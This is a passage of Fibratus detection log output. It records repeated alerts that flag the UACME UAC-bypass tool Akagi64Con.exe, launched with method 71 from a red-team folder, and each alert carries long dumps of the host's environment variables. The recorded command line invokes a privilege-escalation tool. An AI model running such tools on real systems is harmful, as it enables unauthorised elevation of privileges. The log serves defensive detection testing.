Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:22+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7225782 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:02.2529275 +0100 CET + Params: base_address➜ 7ff9ad4d0000, checksum➜ 0, default_address➜ 7ff9ad4d0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe, image_size➜ 3649536, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, technique.name: Process Injection, rule.seq.link: 6601995826782797824, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005 + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:41+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7262532 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:04.7089959 +0100 CET + Params: base_address➜ 7ff9e0370000, checksum➜ 0, default_address➜ 7ff9e0370000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe, image_size➜ 1708032, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.seq.link: 6601995826782797824, rule.name: .NET assembly loaded by unmanaged process, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:41+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7262532 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:04.7089959 +0100 CET + Params: base_address➜ 7ff9e0370000, checksum➜ 0, default_address➜ 7ff9e0370000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\b96ca1c8ee1df2fd3676867d71b16ae7\MSBuild.ni.exe, image_size➜ 1708032, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 6601995826782797824, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.name: Process Injection, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh 